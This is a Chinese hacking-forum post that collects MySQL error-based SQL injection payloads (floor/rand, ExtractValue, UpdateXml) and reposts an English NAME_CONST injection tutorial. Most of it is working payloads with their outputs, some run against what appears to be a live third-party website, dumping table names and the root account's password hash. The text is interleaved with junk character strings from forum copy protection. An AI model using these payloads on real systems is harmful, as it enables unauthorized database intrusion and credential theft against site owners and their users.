找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3188|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:7 |/ R5 O3 y/ J5 B
首先进行正常查询:

mysql> select * from article where id = 1;: _# G+ \6 p" o# k3 ?. V1 |
+—-+——-+———+
3 r+ f% Y1 D4 t# c0 _7 N+ b| id | title | content |
" Z+ \' `- o7 j! X+—-+——-+———++ Y  K; l0 [9 T, X$ M
|  1 | test  | do it   |# }  }* M8 ^; k4 Y+ ?
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);& ]( Q/ L( }. [# t5 ^7 o* a. P
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
$ d( {" d4 n9 x/ g例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
. J9 O+ z; D; I# r- u2 P0 T6 ^ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));- O4 n# m) T- F1 W) T
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue; V% ]8 g9 ?0 H0 z5 I3 Q* j/ _7 L
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
1 S3 W  v, Z/ s7 ]4 kERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


; b& o$ o2 a- y$ A
0 U" M0 Y: j+ c) T5 S4 ]

再收集:

) Y2 ]! F% r/ x/ i/ i( f( Q. T
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
. t1 d# C/ L) h2 S* k9 o$ N5 Z; Q* M; T
3 G- o" @- Z* z, i- l3 X- q; [Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
2 t: \- b2 k1 Z1 H2 m
4 [+ y' C6 A1 a* f, Shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)4 j9 f3 t! D3 @1 a1 b# L
  m. R) E' G1 p  S1 Q9 y: q7 i9 B
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
& e" z# M( A& x0 B. c4 Z  L+ e& p7 O
MYSQL高版本报错注入技巧-利用NAME_CONST注入
) Q6 E7 B, P5 a% i- G6 E0 g+ [It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
5 K8 S, U, M# `! ~- q, l( f0 C2 P0 h+ z  G) x, F7 K/ d
7 U, ~$ @5 g; r2 P0 ~3 B; |
相关信息
; P7 @7 U2 _0 J" A2 s
! q3 s* M2 P4 ~1 L# ?) SNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.5 s( n( O, R+ ]# J. u8 [$ B) E

* w+ d, z* F# {+ \, m" b  ]Code:
9 ~/ K/ J; T1 c2 Q$ t& V* U) k) Q; fNAME_CONST(DATA, VALUE)
( `8 h6 m3 s7 s8 |7 J6 k* K4 w9 @  I/ X  G* c3 V. d( W) B- Q' U
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.2 P6 B7 f7 s+ a" M+ n. q
- T& r/ g" ~( W+ c; ?6 e
SELECT NAME_CONST('TEST', 1)
7 Q8 b3 s; Q4 @$ i( W5 ]: U8 ~' R( Z# H+ p$ {! U) N: O% P2 p' a; r
6 }3 u3 V: ~* t& {8 T

$ x* r' d: e6 v0 Y7 u|---------------|
  V) w4 ~: n' |4 r) a% p/ L|     TEST      |) ^( ~. ]. w( Q. q1 s  L
|               |; y8 S' m+ D; z  e  q+ c' S% S, H  n
|---------------|" \$ C3 h& h1 P% ]& L  W; q
|       1       |6 }  L; \5 ~% s
|               |$ p" E& O* g$ a5 u
|---------------|
& O. P* N9 K5 s- e- |+ F/ r3 f; J
5 G$ b) ]3 b) K) d
* a# k% d/ k- q4 q) i

# \; Q+ P+ _! F: s# g: a+ Z, n: J# y) P2 w" N
http://dev.mysql.com/doc/refman/5.0/en/m...name-const3 s, h9 e! o5 j: m
Intro to MySQL Variables
2 `  y2 f' T5 P5 T8 r, i2 [
3 P; b) z' t& {  ^" T8 OOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.0 {# e$ Z  N7 Q, X0 t' t  L

4 Q& ^# J# q  G: V- l0 F% a! Q+ SCode:# b7 p. V5 I. O! e8 h+ Q4 X
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261  f; C  @8 ~9 I3 P- w4 |
1 F/ ?" E9 S7 @0 p. K" M# ?3 U

. U$ K* _  t# e5 z$ B/ B9 y7 ?: N" u% {7 L( e- Q
* m  {, X0 c, r
9 q% t3 r9 X- B  X- [: {- l
Code:
' ~' [( ~8 Z# v! ~% qand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
& U. Z' s1 h  C, F9 [# K
/ A8 r; U5 E3 H8 _' X6 h4 i
2 O' ^$ T: i% ^4 }& @; D) v
VAR = Your MySQL variable.
  y) Y0 M/ U% F/ G# S0 `
3 ^+ h! ]8 J# o; e4 {; O  T/ pMySQL 5.1.3 Server System Variables
8 c/ e- [0 p9 z# k! j  M
1 T# J+ [6 H) P8 ]6 n3 f- {  yLet's try it out on my site..
) N5 A3 D1 N- g% m8 }  N; p& R
) o: t, v2 j& Z6 ?3 ^; F1 SCode:
1 }* c$ @3 V; n. D# ?http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
4 ^3 ^7 [& U' M( ]5 t* B. Z, ]9 v
, Z3 c" O4 k  G1 K/ dErroruplicate column name '5.0.27-community-nt'7 W5 y5 Z# i6 p3 w* r  `/ j/ I

" Y- A, g8 M% _/ C2 i" z. ~! A2 q/ A0 n" I. \, ?
3 a% P$ h, H' [5 @) L

- h7 y. G9 e4 \' e9 ?
: E/ X4 X+ p' V+ GNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...8 J# T) k) f( ]5 d8 n" k; \
, x  `+ |6 ~7 K/ j# F& X- Z
Data Extraction
% C; d5 e8 ~3 C% ~0 @$ [/ P  y& s! t  p- I6 t1 a& y
Code:3 F+ M9 H; Z: j% G
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--  U# c7 H5 N' U; x

* K9 u7 z7 k$ y( L" M/ W3 d' X( R& t; H9 e' V9 {
We should get a duplicate column 1 error...5 L, Z  J9 V, N. V- g

* S2 r" t* Q6 ~9 ]; \Code:3 U& j# Z3 b: I5 O
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--) k! y$ z4 b/ C6 N9 e# }& h% r
7 E( v- t% d+ V/ O
Erroruplicate column name '1# e+ t% z* s* F, s

1 u7 l* K1 `0 [$ A1 m' \8 }, f  |2 V; f; K! t, t  Z9 K

8 _+ T) H! h4 I6 A2 {. ]
& T8 }3 y3 G: `* n

8 Z# p( U; G' \+ `% z  h
0 O# V) u2 w/ h# d- @Now let's get the tables out this bitch..
4 t/ }0 ]+ a/ I1 O' L' t5 ~  z3 j( X1 W' d+ Z& E4 j& y! x& h
Code:
9 q, H$ O4 I/ d7 ]: l$ ~+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--- N, l. y2 I" o, c, F
# b# x7 i" F  w% {: W+ }
9 `6 h4 Q/ [1 I& M( Y
Let's see if it works here, if it does, we can go on and finish the job.
' D& ~; e% C" e. s7 Z7 g8 }* T+ n) I7 O; L8 I* @4 h  b& d/ g, p  K
Code:6 _# Z! V4 c, f/ w% f. W
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 ]" Q" \6 w4 w  b$ g# \- C
- k9 r% Q/ u  P5 j( r' t! m% ^2 V
- g! `$ `" B. D: UErroruplicate column name 'com_admanage; Q7 L( U" o( B" p) Q% a/ O
5 P- D( K# ^+ g, M; Z: |) E. x
" q: ]0 g: r2 U+ p( A
6 o2 I* d/ t0 j; y5 d$ H8 ~5 P7 C

+ A9 k+ @+ r) p
5 U9 t; C( L7 D% p* l& @- s9 r7 f( a
; F+ C2 U6 E! F5 t8 K6 B! r
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
+ z7 Z$ d$ w% f% l' O: Y( f. R) z
' u7 u% a7 [  S" HLet's get the columns out of the user table..
$ W# t, S4 a9 T, ~1 f  s7 t
! k$ A# w2 {& U5 _- l8 h+ G5 xCode:
+ b0 w% ]1 A  H: r- ]+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--* [7 ~1 i# S; S+ a
( }; O! c0 c2 l5 {- Z9 p" {

6 m! V/ a, {& l( ?4 s9 OSo mine looks like this, and I get the duplicate column name 'Host'.
# M$ L4 z0 G4 N+ L/ K) D+ Y$ J% N, @4 H% ?$ m
Code:4 [! U! k! V) R
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--: A# W* `7 p0 I

1 @( |, }/ ?+ V) F" ~- kErroruplicate column name 'Host'2 J# |. A( J8 d! o% w: X! ?5 ~6 h* X

9 U' B& O+ }/ ^* a/ g) M  M3 r
8 k6 O+ g3 z# c9 _/ @6 `" h0 C  ]

$ _! k: b7 G  y  E* X0 u

3 ?% G) ?# A" V7 }9 f' w
* o) G! ^& h% U1 L& K) q! \6 NWoot, time to finish this bitch off.2 K: `( F/ ?6 T( N8 {: |' ]0 c3 g
; V4 {7 Y# z8 U0 \2 z, O0 x
Code:
" p0 \5 O8 I, ?& P% f+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--3 ]' o3 x, S; u, a5 M* c
) d1 v: k) j& J- S6 x

2 {4 T6 S7 Z8 CSo mine looks like this...
& {% ~; }; Y* a/ m) l, v$ x4 \5 `& q$ e; b
Code:" I, F& ?- G3 v# z9 u1 p
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--0 n7 v9 U5 i. W, V5 D4 H* T
$ g3 `( e' F: K( Z+ z; _, E
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'5 `0 r, B: k- t- K: d9 s! c

& {# `; o/ z# d3 G: i1 t$ H) K- V2 w$ [$ D2 n

6 D  {% C: y! J# j/ N' i* E8 Y( E0 `- e. [
* q9 ~# `/ X7 S( \+ U6 X
- v  G8 I  a+ S& X* c

: k% B7 a( e$ f# jAnd there we have it, thanks for reading.
9 x" N7 C: D# a7 o) A8 p

2 a" w4 U2 H1 M# J8 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表